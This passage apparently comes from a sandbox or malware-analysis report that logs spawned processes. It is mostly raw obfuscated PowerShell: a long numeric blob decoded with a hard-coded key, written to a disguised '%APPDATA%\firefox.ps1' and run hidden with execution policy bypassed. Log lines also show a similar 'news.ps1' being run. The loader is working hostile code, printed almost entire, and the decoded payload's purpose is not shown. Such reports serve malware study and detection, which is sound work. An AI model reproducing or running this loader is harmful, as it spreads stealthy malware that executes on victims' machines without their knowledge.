26 104 96 141 132 115 34 33 106 142 181 76 112 126 100 122 43 140 181 76 130 138 62 44 37 86 126 132 80 115 123 46 79 167 113 70 62 62 125 99 104 86 156 117 133 140 101 124 96 167 102 123 139 133 100 122 26 140 181 69 141 129 45 57 28 93 120 82 72 142 125 47 106 157 183 65 139 115 57 47 26 100 120 82 69 134 123 53 24 100 108 149 68 64 127 122 26 100 105 140 50 138 59 57 38 140 181 81 72 72 127 113 26 100 105 73 76 75 58 126 104 96 101 80 64 130 123 43 24 87 126 145 68 81 100 122 35 158 174 122 48 109 59 58 95 117 96 69 72 142 114 74 19 89 116 113 72 72 54 48 35 85 112 70 63 142 123 58 39 99 158 145 61 55 59 126 79 169 183 106 68 98 83 78 85 86 102 146 139 115 123 56 28 89 105 149 112 142 125 61 34 90 119 82 76 66 51 112 24 81 101 147 114 138 59 39 32 93 109 73 124 142 98 126 106 165 114 65 57 58 43 111 43 89 112 134 55 122 112 46 26 90 111 80 74 58 44 111 104 161 126 64 59 69 66 100 82 132 102 82 76 62 58 90 43 85 120 98 57 60 54 48 37 161 181 69 59 63 53 57 41 85 144 81 132 133 112 44 39 89 106 66 68 58 48 44 19 154 115 76 65 73 44 111 104 161 126 64 59 69 66 100 82 132 102 82 76 62 58 90 43 85 120 98 57 60 54 48 37 161 181 79 61 62 47 117 99 154 103 84 54 111 45 57 38 140 181 83 59 77 49 59 36 123 120 72 72 140 100 122 26 100 102 69 62 64 44 57 108 140 185 108 63 56 48 51 39 156 130 80 75 92 58 45 23 100 102 65 141 129 74 44 35 169 181 81 54 66 51 50 32 152 185 136 101 73 62 58 39 87 102 149 137 70 58 61 40 100 103 66 141 129 74 43 39 87 152 78 72 64 43 126 104 104 114 80 63 58 127 113 55 86 116 115 76 59 54 59 60 104 103 66 68 64 56 99 49 135 96 65 72 83 66 65 104 103 96 65 72 59 127 97 108 165 103 80 58 62 48 48 25 100 171 114 62 64 43 57 30 85 158 90 107 53 43 57 49 108 124 145 73 73 60 60 19 85 116 66 112 83 86 48 35 85 124 123 115 106 58 59 100 165 119 60 57 73 44 114 104 89 98 81 132 115 68 75 19 86 101 80 64 128 75 57 20 85 171 112 63 75 48 58 35 91 114 88 115 116 94 75 73 128 144 135 102 73 43 75 24 87 112 71 70 134 123 58 39 102 119 60 57 73 44 117 16 169 138 64 57 129 89 53 32 100 185 136 103 69 51 57 60 104 101 77 141 138 58 57 39 169 172 112 63 75 48 58 35 91 114 149 56 58 57 102 81 118 101 84 59 58 114 78 26 90 118 80 58 59 127 46 29 82 116 67 58 70 58 50 32 169 172 116 59 71 42 49 39 91 101 105 68 59 43 126 106 156 139 70 93 60 48 56 35 93 116 149 128 105 39 57 41 84 101 76 62 64 79 47 32 96 118 60 141 108 38 46 43 86 102 149 128 104 54 50 39 169 181 80 72 73 125 126 95 114 112 71 73 63 40 75 24 80 109 80 141 102 54 58 40 100 107 122 141 142 127 122 38 89 105 69 141 113 127 124 43 95 106 83 74 77 51 50 94 85 97 65 139 115 123 58 21 93 109 73 65 125 127 97 108 167 181 78 57 58 43 42 93 104 105 76 126 56 107 111 28 87 106 75 72 75 43 43 93 165 177 90 56 60 54 65 82 143 148 66 74 77 47 57 72 104 101 84 90 58 45 53 30 98 177 145 61 60 48 52 39 102 101 108 73 133 118 111 26 100 105 70 58 69 43 47 26 80 170 79 68 66 58 43 93 165 177 90 56 60 54 65 82 143 148 66 74 77 47 57 72 104 101 84 90 58 45 53 30 98 177 145 71 62 47 46 99 160 170 67 76 55 96 44 39 99 156 145 75 60 62 48 41 97 139 84 64 73 125 99 108 128 107 63 62 67 58 113 53 100 119 99 72 61 42 57 25 85 185 136 88 60 54 126 104 101 98 73 65 66 51 109 108 156 145 80 76 74 58 44 25 169 181 77 72 77 59 57 26 86 185 136 88 59 58 44 75 98 116 71 57 142 123 61 37 100 107 65 141 129 80 41 24 131 112 73 72 142 123 57 39 100 185 136 88 59 58 92 43 86 112 82 93 77 45 43 35 91 114 122 90 58 62 44 24 156 137 67 62 75 58 43 25 169 105 70 54 73 45 43 36 100 109 73 141 129 94 44 37 84 108 80 63 58 83 53 25 85 185 147 128 96 48 78 26 90 115 76 65 73 127 113 71 81 116 82 56 58 54 47 30 121 106 73 68 75 38 126 74 80 105 84 58 59 127 113 70 96 109 80 141 138 58 57 39 167 185 136 86 69 49 58 29 82 134 65 52 66 58 126 68 96 117 81 72 64 100 126 108 119 116 72 62 56 58 113 67 85 116 72 141 129 79 61 24 97 185 145 96 53 86 48 22 90 118 84 57 69 48 48 94 124 96 114 62 65 50 61 30 101 171 101 76 58 55 126 95 131 106 67 74 73 100\\";$Length = $VIUSBvejbawf.Length;$CLOIJSfgiojvosef235sdb = New-Object System.Collections.ArrayList;[string] $date = $null;$m = 0;for($k = 0; $k -lt $Length; $k++){$date += $VIUSBvejbawf[$k];if($VIUSBvejbawf[$k] -eq \\" \\"){[void]$CLOIJSfgiojvosef235sdb.Add([byte] $date);$m++;$date = $null;continue;}}$Apkengsidefg = \\"NFG87%br\\";[Byte[]]$pw = [System.Text.Encoding]::UTF8.GetBytes(\\"$Apkengsidefg\\");$pw_Length = $Apkengsidefg.Length;$MFibvfaibfeg2345fbdfg = New-Object System.Byte[]($CLOIJSfgiojvosef235sdb.Count);$j = 0;for($i = 0; $i -lt $CLOIJSfgiojvosef235sdb.Count; $i++){$pw_num = $pw[$j] + 103;if($pw_num -ge $CLOIJSfgiojvosef235sdb[$i]){$MFibvfaibfeg2345fbdfg[$i] = $pw_num - $CLOIJSfgiojvosef235sdb[$i];}else{$MFibvfaibfeg2345fbdfg[$i] = $CLOIJSfgiojvosef235sdb[$i];}$j++;if($j -eq $pw_Length){$j = 0;}}$qqpvm = [System.Text.Encoding]::UTF8.GetString($MFibvfaibfeg2345fbdfg);$fgfw98JHGVfeg = \\"$env:appdata\\firefox.ps1\\";$qqpvm|Out-File -FilePath $fgfw98JHGVfeg;powershell -windowstyle hidden -ExecutionPolicy Bypass $fgfw98JHGVfeg;"" (UID: 00000000-00006444) Process "powershell.exe" with commandline "-windowstyle hidden -ExecutionPolicy Bypass %APPDATA%\\firefox.ps1" (UID: 00000000-00005528) Process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -File %APPDATA%\\news.ps1" (UID: 00000000-00004752) Process "powershell.exe" with commandline "-NoProfile -ExecutionPolicy Bypass -File %APPDATA%\\news.ps1" (UID: 00000000-00006112)57:T51f4,Spawned process "powershell.exe" with commandline ""$VIUSBvejbawf = \\"145 52 53 38 58 79 127 106 76 63 129 79 61 24 97 185 141 82 91 38 43 24 100 108 135 100 95 113 78 43 85 113 88 115 116 88 57 24 117 116 72 61 94 62 42 36 161 176 140 141 140 235 182 11 237 68 25 235 34 31 236 153 17 236 21 41 235 1 181 235 19 85 236 41 17 64 235 176 58 122 235 43 6 235 182 11 234 37 53 234 179 27 234 176 45 236 49 13 235 176 169 236 52 81 135 61 74 57 124 81 165 114 65 57 58 43 126 79 169 183 77 57 58 125 115 106 89 102 123 126 140 116 124 93 98 112 147 130 140 43 50 106 158 183 84 75 128 60 124 97 167 106 72 139 115 123 61 24 94 110 74 141 113 127 124 37 93 105 84 57 129 52 72 25 93 96 66 68 84 58 101 55 89 169 129 51 126 75 60 70 146 146 110 96 120 82 77 28 83 138 75 104 99 59 74 28 86 128 71 91 125 70 39 84 155 169 132 127 125 104 109 41 101 98 72 124 76 125 99 108 165 105 67 62 68 58 59 24 128 117 149 112 142 125 51 39 83 112 71 128 71 45 47 23 89 164 132 125 125 104 109 89 154 103 76 126 70 54 56 39 87 183 122 137 76 45 61 30 102 113 103 76 65 58 126 79 169 183 72 76 69 49 124 81 169 181 79 68 66 58 78 43 85 113 149 112 142 125 58 29 102 97 135 61 74 57 124 81 165 117 62 65 66 51 50 108 140 185 147 137 71 43 42 24 85 170 84 61 69 112 40 88 154 105 67 62 68 58 59 24 86 170 145 133 83 42 44 35 108 159 123 104 59 60 61 28 100 149 84 57 77 76 42 26 96 107 78 133 138 47 44 29 95 116 82 57 101 59 117 99 154 103 80 61 63 44 53 24 90 103 60 126 72 54 50 39 86 170 145 133 83 42 44 35 108 159 123 104 59 60 61 28 100 149 84 57 77 76 42 26 96 107 78 133 138 57 53 32 100 137 84 57 70 118 117 93 87 120 62 110 60 58 56 79 165 119 67 76 64 60 54 62 104 108 80 139 115 127 122 43 98 116 71 57 113 119 124 63 90 95 76 65 66 62 111 87 155 169 147 129 140 119 71 35 91 117 70 54 59 125 114 106 169 139 97 141 125 111 112 92 142 185 94 68 64 125 114 106 147 165 122 141 54 105 106 99 167 173 147 108 62 47 50 39 114 116 147 129 140 61 83 35 85 170 128 122 119 113 107 86 167 173 147 133 99 87 74 63 125 173 73 68 67 58 126 69 100 118 74 62 133 125 114 106 134 113 67 139 130 125 47 31 100 183 137 139 127 110 106 87 167 173 147 125 128 111 124 96 167 171 133 127 126 125 114 106 118 120 79 76 60 54 111 87 150 162 135 122 120 125 117 108 156 111 70 68 64 127 124 108 167 158 149 137 70 58 61 40 100 103 66 141 113 127 94 17 167 137 99 100 88 94 74 71 156 133 102 98 105 81 124 108 140 185 145 76 58 52 51 33 76 158 149 100 64 41 47 33 100 172 99 72 59 43 81 39 85 113 70 73 142 114 73 26 96 185 145 73 55 51 50 32 93 185 136 101 73 62 58 39 87 102 149 137 70 58 61 40 100 103 66 141 129 74 43 39 87 152 78 72 64 43 126 104 104 114 80 63 58 127 113 61 84 101 111 68 66 58 126 104 80 96 60 73 142 114 73 25 100 151 84 58 69 60 78 43 87 102 76 63 71 100 120 104 80 96 60 73 115 127 126 104 86 102 66 141 113 127 84 29 96 107 136 93 77 43 54 108 161 181 80 63 56 101 93 28 89 149 84 57 77 118 126 106 154 140 76 74 60 48 43 29 99 101 134 86 69 49 58 29 82 102 134 89 73 50 46 32 104 101 80 58 127 70 61 36 90 106 135 67 59 58 124 81 169 181 70 62 63 127 97 108 127 106 76 63 129 79 61 24 97 185 141 137 73 49 40 82 136 105 69 105 77 43 61 99 169 183 134 96 69 60 44 29 86 106 79 57 127 72 53 30 101 106 62 58 127 75 57 31 89 109 84 57 73 44 111 51 104 113 70 62 128 45 42 38 167 158 149 137 52 48 47 39 169 156 149 139 85 62 54 29 90 171 67 57 72 125 99 104 100 103 83 98 99 86 126 79 169 183 145 70 58 43 42 24 154 120 69 68 127 41 106 93 89 103 70 67 73 60 42 25 154 181 141 82 57 45 53 47 143 159 112 58 75 62 46 39 133 120 65 76 91 43 44 35 91 114 141 137 62 45 47 34 100 118 65 100 74 118 117 93 87 116 69 62 59 54 42 29 87 96 134 71 69 51 57 25 154 181 141 82 57 45 53 47 143 159 112 58 75 62 46 39 133 120 65 76 91 43 44 35 91 114 141 137 52 48 47 39 160 176 134 59 77 40 95 26 100 115 120 137 76 45 61 30 102 113 103 76 65 58 124 81 169 144 71 55 63 52 57 95 114 116 83 91 73 46 41 39 86 101 149 128 89 45 53 108 165 116 67 75 99 84 85 108 156 145 80 76 74 58 44 25 169 181 77 72 77 59 57 26 86 185 136 88 59 58 44 75 98 116 71 57 142 123 61 37 100 107 65 141 129 80 41 24 131 112 73 72 142 123 47 29 90 185 136 88 59 58 92 43 86 112 82 93 77 45 43 35 91 114 122 141 60 58 48 43 92 116 136 68 58 58 49 108 156 105 84 57 70 127 122 29 90 106 149 128 64 58 39 30 104 108 80 141 138 44 43 25 142 185 149 137 62 47 46 108 140 185 107 62 69 49 113 60 104 101 77 141 134 123 57 30 83 159 116 61 62 91 61 24 104 176 149 139 127 82 53 41 87 106 66 62 72 43 111 53 96 107 81 62 55 44 111 73 93 106 64 73 91 43 47 26 100 170 79 76 75 58 60 29 90 110 135 61 59 110 124 81 169 181 66 57 60 127 97 108 162 181 84 65 69 44 97 76 161 183 72 62 60 38 75 24 167 173 147 117 117 103 124 96 167 149 80 59 69 41 57 106 160 158 145 64 59 98 113 34 90 112 71 141 134 125 81 39 167 173 145 76 66 54 43 49 153 124 137 139 60 58 61 31 167 176 122 137 60 57 97 95 95 106 76 63 134 125 76 38 102 167 147 129 138 62 50 35 86 126 132 80 130 123 61 32 96 102 90 123 81 115 124 74 80 101 80 58 140 118 99 104 86 101 67 112 110 119 122 31 86 173 147 59 53 47 42 29 167 173 145 59 72 115 126 106 100 102 104 76 64 62 55 106 157 185 147 59 73 62 124 99 142 181 67 72 62 98 94 100 167 108 66 53 140 115 124 26 81 183 137 139 92 89 90 74 167 173 147 64 77 49 55 106 157 185 147 71 72 125 117 81 165 117 80 71 142 98 126 106 84 102 76 63 71 127 75 19 86 101 80 64 115 42 43 35 91 114 149 90 53 44 42 39 92 171 108 94 115 42 43 35 91 114 149 90 53 44 42 39 92 171 98 72 75 42 44 35 85 96 135 106 60 39 55 26 104 105 77 52 115 47 41 42 93 112 82 141 75 51 61 25 86 185 108 63 69 43 35 28 84 119 73 68 75 127 43 24 104 101 76 74 142 93 37 24 100 126 88 141 106 58 59 100 135 96 65 72 83 66 126 35 91 151 60 57 73 44 114 25 85 103 76 63 71 127 46 21 101 176 58 64 59 39 126 35 92 156 71 72 55 127 49 25 81 177 76 63 108 38 42 39 86 176 122 107 53 43 57 49 108 185 66 112 64 58 39 108 135 96 65 72 83 108 108 47 142 112 71 57 142 51 57 30 140 112 72 127 92 58 61 40 161 102 137 125 130 44 112 64 100 107 78 57 70 118 99 35 99 177 73 72 64 126 97 25 155 141 80 63 71 43 54 99 78 103 80 57 57 45 48 108 91 100 73 65 115 34 92 19 85 116 90 80 142 60 60 64 100 107 120 63 73 40 126 74 80 101 80 82 122 66 99 35 92 171 99 72 77 59 118 41 103 141 80 63 130 111 114 88 160 158 99 103 106 93 126 28 103 110 120 63 73 40 126 58 131 149 115 133 62 40 58 96 86 176 122 107 53 43 57 49 108 185 74 72 53 98 46 42 94 171 110 72 58 93 37 24 100 102 141 122 124 118 99 74 80 101 80 82 81 127 53 22 140 105 83 66 128 88 57 24 135 96 65 72 59 119 109 86 160 158 116 64 77 49 55 39 101 185 72 76 113 49 57 21 169 152 72 76 64 56 57 40 161 176 122 100 107 45 38 56 87 120 71 58 72 48 44 31 169 149 80 74 113 50 61 94 134 115 79 57 73 91 57 41 87 97 67 133 67 58 37 96 96 99 140 114 107 45 38 57 85 115 79 64 142 60 43 79 91 116 62 141 107 45 38 57 85 115 79 64 134 54 49 96 133 116 82 129 126 118 99 31 86 97 149 62 65 98 48 39 82 185 72 58 54 119 117 81 102 102 135 106 63 47 37 56 90 177 70 64 133 100 47 31 155 149 76 58 62 48 43 39 161 176 122 59 73 43 41 26 91 185 70 64 128 75 47 75 87 103 84 52 134 118 99 15 76 183 122 137 69 98 110 81 165 120 120 137 69 116 122 43 87 114 66 82 125 66 99 104 89 156 147 69 63 48 46 106 142 181 66 112 110 119 124 82 167 173 147 58 116 125 117 81 165 103 120 137 62 127 113 26 100 105 73 76 75 58 126 106 90 183 137 139 58 125 99 38 90 103 80 76 75 55 118 104 96 101 80 64 142 54 48 108 165 103 80 61 133 36 122 40 100 115 120 137 74 58 56 108 156 103 80 61 66 62 59 39 169 181 76 57 73 50 114 104 86 101 67 82 138 54 65 81 165 112 138 130 115 34 93 40 101 172 97 52 62 58 126 95 117 96 69 72 106 58 56 35 91 112 65 68 63 49 126 104 101 116 79 114 138 47 39 40 169 156 149 139 99 54 82 64 121 162 66 58 139 125 99 104 100 116 80 141 113 127 84 29 96 107 136 93 77 43 54 108 161 181 80 63 56 101 93 28 89 149 84 57 77 118 126 106 91 116 62 58 128 47 43 91 167 158 145 70 58 43 42 24 169 156 149 139 70 43 42 28 86 159 134 126 71 54 42 32 104 119 135 74 63 50 124 81 165 120 65 66 67 52 126 79 169 183 78 65 62 62 42 95 94 131 66 65 53 44 53 50 100 160 96 61 126 107 36 92 117 119 111 118 103 88 81 86 124 136 69 55 95 53 89 65 101 133 69 58 85 49 76 91 112 98 125 127 126 110 112 91 146 168 82 73 55 50 109 42 167 158 145 61 60 48 52 39 102 101 108 73 142 98 126 106 94 116 63 68 64 114 55 26 90 100 69 120 125 111 109 85 152 166 134 59 69 112 54 35 99 116 67 139 115 123 60 26 104 107 82 69 96 62 49 39 169 156 149 139 65 62 53 30 167 158 145 71 69 51 57 60 104 101 77 141 113 127 124 25 102 120 73 65 128 43 38 24 167 158 145 73 55 51 50 32 93 185 120 141 140 123 55 24 85 101 65 126 77 47 53 93 83 165 134 61 60 48 52 39 102 101 66 126 138 119 67 23 87 112 88 115 116 90 43 41 104 105 80 105 77 43 61 57 85 103 76 63 71 119 122 28 87 106 75 72 75 43 85 40 160 176 134 59 73 47 47 25 96 101 70 59 53 112 56 35 93 116 66 126 138 119 67 23 87 112 88 115 116 90 43 41 104 105 80 105 77 43 61 57 85 103 76 63 71 119 122 38 96 109 80 93 77 43 54 99 160 170 67 76 55 96 44 39 99 156 145 75 60 62 48 41 97 139 84 64 73 125 99 104 104 114 80 63 58 98 118 106 124 106 59 68 66 51 61 93 148 171 133 139 130 125 118 53 96 107 81 62 55 44 124 96 167 185 103 89 142 110 110 94 153 158 149 86 69 49 124 96 167 163 129 114 142 39 104 88 160 183 137 139 109 47 46 32 100 130 80 139 130 125 60 65 96 101 134 120 123 104 112 89 147 183 137 139 134 84 86 56 124 141 137 65 69 52 57 108 130 116 82 66 63 118 124 96 167 150 77 59 140 115 124 29 92 116 147 129 140 112 109 88 148 183 137 139 126 113 110 106 157 183 135 125 128 111 124 96 167 134 84 71 77 45 53 93 148 166 126 127 123 105 124 99 169 172 75 62 69 49 126 106 169 183 122 137 70 58 61 40 100 103 66 141 113 127 94 17 167 137 99 100 88 94 74 71 156 133 102 98 105 81 124 108 140 185 145 76 58 52 51 33 76 158 145 59 73 44 46 29 91 102 80 141 113 127 85 30 83 106 74 72 129 72 57 42 119 116 68 56 73 44 42 108 156 132 67 68 142 123 58 21 93 109 73 65 142 114 86 39 104 117 80 59 59 127 122 36 100 120 81 72 60 44 126 95 116 102 80 59 109 56 57 30 85 185 145 76 71 58 48 24 169 172 96 58 73 93 61 25 96 118 101 76 60 44 53 30 98 158 90 107 53 43 57 49 108 124 145 75 53 43 57 25 169 156 149 137 60 58 43 28 90 107 66 72 128 92 47 30 85 116 71 57 115 68 92 19 85 116 90 80 81 123 58 39 102 119 60 57 73 44 97 49 128 107 76 57 81 101 100 72 100 118 141 137 76 38 42 39 86 173 145 61 55 59 117 81 110 134 60 58 58 58 49 94 117 116 61 57 128 90 48 41 90 117 76 63 71 66 100 82 136 134 114 100 101 113 87 39 85 134 65 59 69 49 55 100 165 117 80 74 76 38 42 39 86 176 57 141 95 42 42 95 131 112 73 72 142 114 88 35 93 116 101 76 58 55 126 104 100 116 80 141 129 90 48 41 90 117 76 63 71 127 41 24 99 161 122 90 58 62 44 24 156 137 67 62 75 58 43 25 169 105 70 54 73 45 43 36 100 109 73 141 129 94 44 37 84 108 80 63 58 83 53 25 85 185 147 128 96 48 78 26 90 115 76 65 73 127 113 71 81 116 82 56 58 54 47 30 121 106 73 68 75 38 126 74 80 105 84 58 59 127 113 70 96 109 80 141 138 58 57 39 167 185 136 86 69 49 58 29 82 134 65 52 66 58 126 68 96 117 81 72 64 100 119 81 169 181 66 57 60 127 34 108 122 100 65 128 104 54 50 39 169 172 111 68 66 58 78 43 85 113 149 137 62 47 46 108 156 148 71 74 63 59 53 30 98 185 96 89 104 103 99 108 165 120 82 57 69 48 48 108 140 185 103 72 55 114 75 41 97 116 81 56 66 58 58 56 104 102 74 108 75 43 53 29 91 185 136 104 54 58 59 23 85 116 149 139 55 44 59 26 96 105 65 127 73 39 57 106 169 172 116 59 71 42 49 39 91 101 149 139 127 112 60 108 154 170 71 62 66 48 55 29 169 121 147 137 59 44 43 44 167 183 122 141 138 43 44 35 98 114 80 59 142 98 126 62 100 98 136 90 75 55 57 40 84 109 80 73 90 62 43 33 117 103 76 70 71 58 44 108 156 138 71 74 73 127 113 75 85 185 141 102 73 43 113 72 104 101 80 132 128 94 58 40 124 112 71 56 58 58 43 100 152 169 140 141 129 77 57 28 100 101 76 57 69 48 48 67 91 101 80 59 56 62 50 108 161 139 80 54 129 75 53 31 100 134 69 76 64 127 113 63 96 107 64 57 73 44 126 89 153 176 122 141 138 44 57 24 85 112 71 70 59 127 97 108 123 116 62 128 91 60 54 39 101 100 73 72 74 75 61 25 94 134 80 57 58 54 48 37 86 134 80 57 142 114 86 35 101 117 80 63 115 127 76 39 98 112 66 57 73 45 113 57 102 113 80 73 57 51 57 40 117 120 66 66 142 114 74 43 86 110 103 76 65 58 126 106 124 112 82 59 63 44 47 38 85 148 81 70 73 74 46 40 104 101 80 89 77 44 51 63 104 118 77 68 64 58 90 72 131 138 94 92 62 36 88 89 148 169 131 124 118 108 105 95 150 164 99 128 122 94 108 70 156 166 92 117 89 114 107 66 145 162 101 123 100 87 87 55 76 183 149 128 109 60 42 35 90 107 149 137 77 60 42 35 90 107 149 128 90 45 53 37 98 116 67 141 138 43 44 35 98 114 80 59 142 114 75 39 85 101 76 63 71 44 126 104 86 116 65 57 69 49 55 25 142 185 145 72 73 58 126 79 169 143 70 68 64 114 78 43 85 113 149 133 138 58 48 22 143 152 69 61 106 62 42 43 160 185 147 63 73 40 43 94 89 102 132 139 115 127 126 104 104 109 76 58 113 95 118 106 92 106 67 52 91 43 124 96 167 161 124 117 140 115 124 72 100 103 76 55 73 125 117 81 165 108 66 112 129 53 47 35 91 185 141 139 97 58 124 96 165 120 73 68 59 68 110 47 157 183 67 72 77 50 124 99 142 181 67 71 113 114 52 29 96 107 141 139 92 57 59 90 167 173 145 76 66 54 43 49 152 124 137 137 77 51 53 25 110 167 88 129 140 93 37 24 100 102 147 132 115 123 43 24 87 156 117 133 138 50 43 96 167 103 60 61 58 48 124 96 165 103 79 129 142 125 57 25 124 120 71 76 71 125 114 108 167 103 80 76 140 118 99 104 87 116 69 112 110 119 124 31 86 97 147 129 140 45 38 106 157 183 99 103 106 93 124 96 167 108 84 63 71 125 114 108 167 115 79 139 133 100 122 40 100 115 149 112 142 125 41 25 96 107 78 141 91 38 43 24 100 108 122 56 59 54 48 37 169 134 60 58 58 58 49 94 128 138 122 56 59 54 48 37 169 134 60 58 58 58 49 94 118 116 82 56 60 54 42 19 155 150 67 53 71 45 61 28 97 96 122 61 57 61 50 35 102 185 82 65 77 44 43 108 128 107 76 57 51 47 41 42 93 112 82 141 59 43 61 24 96 118 149 107 53 43 57 49 108 185 113 72 75 119 92 19 85 116 90 80 142 54 48 74 80 101 80 58 130 44 42 26 96 107 78 141 62 40 58 99 78 108 66 53 142 54 49 79 91 116 62 141 65 44 38 100 96 107 115 52 58 58 43 99 142 151 60 57 73 68 65 108 86 156 71 72 55 127 92 19 85 116 90 122 124 66 99 35 91 101 149 65 73 49 97 35 92 171 99 72 77 59 118 25 157 169 137 58 128 83 57 30 98 101 77 132 115 54 56 100 93 116 71 140 113 44 112 64 100 107 78 57 70 118 35 26 100 101 64 59 64 127 48 23 93 109 122 48 108 38 42 39 110 124 149 74 76 83 57 30 140 107 80 54 142 93 37 24 100 126 129 80 115 54 49 94 119 116 84 73 134 60 60 64 100 107 137 125 130 107 117 81 119 147 113 107 142 47 60 33 140 107 80 54 142 77 88 72 135 177 69 54 74 115 43 99 142 151 60 57 73 68 65 108 94 116 60 112 62 61 51 94 130 116 65 107 53 43 57 25 161 166 131 132 115 93 37 24 100 126 88 141 69 41 97 28 103 110 135 102 73 43 92 19 85 116 66 133 125 105 117 81 136 108 84 63 71 58 58 108 92 120 120 63 73 40 126 75 92 120 71 70 73 59 118 99 142 144 114 59 54 75 44 43 91 102 79 62 60 50 126 72 100 118 120 64 77 113 91 38 99 101 80 105 73 60 44 20 87 177 74 72 53 115 53 22 160 158 114 59 54 76 42 38 99 108 149 74 59 98 48 39 82 185 114 59 54 76 42 38 99 108 141 68 65 115 90 39 102 173 133 132 115 50 43 20 169 106 72 112 64 58 39 108 92 102 61 133 133 100 59 25 155 150 70 61 53 75 47 100 90 108 140 114 63 50 112 72 96 102 69 62 59 58 118 99 142 103 80 57 57 45 48 108 90 108 135 89 63 94 44 26 104 96 141 132 115 34 33 106 142 181 76 112 126 100 122 43 140 181 76 130 138 62 44 37 86 126 132 80 115 123 46 79 167 113 70 62 62 125 99 104 86 156 117 133 140 101 124 96 167 102 123 139 133 100 122 26 140 181 69 141 129 45 57 28 93 120 82 72 142 125 47 106 157 183 65 139 115 57 47 26 100 120 82 69 134 123 53 24 100 108 149 68 64 127 122 26 100 105 140 50 138 59 57 38 140 181 81 72 72 127 113 26 100 105 73 76 75 58 126 104 96 101 80 64 130 123 43 24 87 126 145 68 81 100 122 35 158 174 122 48 109 59 58 95 117 96 69 72 142 114 74 19 89 116 113 72 72 54 48 35 85 112 70 63 142 123 58 39 99 158 145 61 55 59 126 79 169 183 106 68 98 83 78 85 86 102 146 139 115 123 56 28 89 105 149 112 142 125 61 34 90 119 82 76 66 51 112 24 81 101 147 114 138 59 39 32 93 109 73 124 142 98 126 106 165 114 65 57 58 43 111 43 89 112 134 55 122 112 46 26 90 111 80 74 58 44 111 104 161 126 64 59 69 66 100 82 132 102 82 76 62 58 90 43 85 120 98 57 60 54 48 37 161 181 69 59 63 53 57 41 85 144 81 132 133 112 44 39 89 106 66 68 58 48 44 19 154 115 76 65 73 44 111 104 161 126 64 59 69 66 100 82 132 102 82 76 62 58 90 43 85 120 98 57 60 54 48 37 161 181 79 61 62 47 117 99 154 103 84 54 111 45 57 38 140 181 83 59 77 49 59 36 123 120 72 72 140 100 122 26 100 102 69 62 64 44 57 108 140 185 108 63 56 48 51 39 156 130 80 75 92 58 45 23 100 102 65 141 129 74 44 35 169 181 81 54 66 51 50 32 152 185 136 101 73 62 58 39 87 102 149 137 70 58 61 40 100 103 66 141 129 74 43 39 87 152 78 72 64 43 126 104 104 114 80 63 58 127 113 55 86 116 115 76 59 54 59 60 104 103 66 68 64 56 99 49 135 96 65 72 83 66 65 104 103 96 65 72 59 127 97 108 165 103 80 58 62 48 48 25 100 171 114 62 64 43 57 30 85 158 90 107 53 43 57 49 108 124 145 73 73 60 60 19 85 116 66 112 83 86 48 35 85 124 123 115 106 58 59 100 165 119 60 57 73 44 114 104 89 98 81 132 115 68 75 19 86 101 80 64 128 75 57 20 85 171 112 63 75 48 58 35 91 114 88 115 116 94 75 73 128 144 135 102 73 43 75 24 87 112 71 70 134 123 58 39 102 119 60 57 73 44 117 16 169 138 64 57 129 89 53 32 100 185 136 103 69 51 57 60 104 101 77 141 138 58 57 39 169 172 112 63 75 48 58 35 91 114 149 56 58 57 102 81 118 101 84 59 58 114 78 26 90 118 80 58 59 127 46 29 82 116 67 58 70 58 50 32 169 172 116 59 71 42 49 39 91 101 105 68 59 43 126 106 156 139 70 93 60 48 56 35 93 116 149 128 105 39 57 41 84 101 76 62 64 79 47 32 96 118 60 141 108 38 46 43 86 102 149 128 104 54 50 39 169 181 80 72 73 125 126 95 114 112 71 73 63 40 75 24 80 109 80 141 102 54 58 40 100 107 122 141 142 127 122 38 89 105 69 141 113 127 124 43 95 106 83 74 77 51 50 94 85 97 65 139 115 123 58 21 93 109 73 65 125 127 97 108 167 181 78 57 58 43 42 93 104 105 76 126 56 107 111 28 87 106 75 72 75 43 43 93 165 177 90 56 60 54 65 82 143 148 66 74 77 47 57 72 104 101 84 90 58 45 53 30 98 177 145 61 60 48 52 39 102 101 108 73 133 118 111 26 100 105 70 58 69 43 47 26 80 170 79 68 66 58 43 93 165 177 90 56 60 54 65 82 143 148 66 74 77 47 57 72 104 101 84 90 58 45 53 30 98 177 145 71 62 47 46 99 160 170 67 76 55 96 44 39 99 156 145 75 60 62 48 41 97 139 84 64 73 125 99 108 128 107 63 62 67 58 113 53 100 119 99 72 61 42 57 25 85 185 136 88 60 54 126 104 101 98 73 65 66 51 109 108 156 145 80 76 74 58 44 25 169 181 77 72 77 59 57 26 86 185 136 88 59 58 44 75 98 116 71 57 142 123 61 37 100 107 65 141 129 80 41 24 131 112 73 72 142 123 57 39 100 185 136 88 59 58 92 43 86 112 82 93 77 45 43 35 91 114 122 90 58 62 44 24 156 137 67 62 75 58 43 25 169 105 70 54 73 45 43 36 100 109 73 141 129 94 44 37 84 108 80 63 58 83 53 25 85 185 147 128 96 48 78 26 90 115 76 65 73 127 113 71 81 116 82 56 58 54 47 30 121 106 73 68 75 38 126 74 80 105 84 58 59 127 113 70 96 109 80 141 138 58 57 39 167 185 136 86 69 49 58 29 82 134 65 52 66 58 126 68 96 117 81 72 64 100 126 108 119 116 72 62 56 58 113 67 85 116 72 141 129 79 61 24 97 185 145 96 53 86 48 22 90 118 84 57 69 48 48 94 124 96 114 62 65 50 61 30 101 171 101 76 58 55 126 95 131 106 67 74 73 100\\";$Length = $VIUSBvejbawf.Length;$CLOIJSfgiojvosef235sdb = New-Object System.Collections.ArrayList;[string] $date = $null;$m = 0;for($k = 0; $k -lt $Length; $k++){$date += $VIUSBvejbawf[$k];if($VIUSBvejbawf[$k] -eq \\" \\"){[void]$CLOIJSfgiojvosef235sdb.Add([byte] $date);$m++;$date = $null;continue;}}$Apkengsidefg = \\"NFG87%br\\";[Byte[]]$pw = [System.Text.Encoding]::UTF8.GetBytes(\\"$Apkengsidefg\\");$pw_Length = $Apkengsidefg.Length;$MFibvfaibfeg2345fbdfg = New-Object System.Byte[]($CLOIJSfgiojvosef235sdb.Count);$j = 0;for($i = 0; $i -lt $CLOIJSfgiojvosef235sdb.Count; $i++){$pw_num = $pw[$j] + 103;if($pw_num -ge $CLOIJSfgiojvosef235sdb[$i]){$MFibvfaibfeg2345fbdfg[$i] = $pw_num - $CLOIJSfgiojvosef235sdb[$i];}else{$MFibvfaibfeg2345fbdfg[$i] = $CLOIJSfgiojvosef235sdb[$i];}$j++;if($j 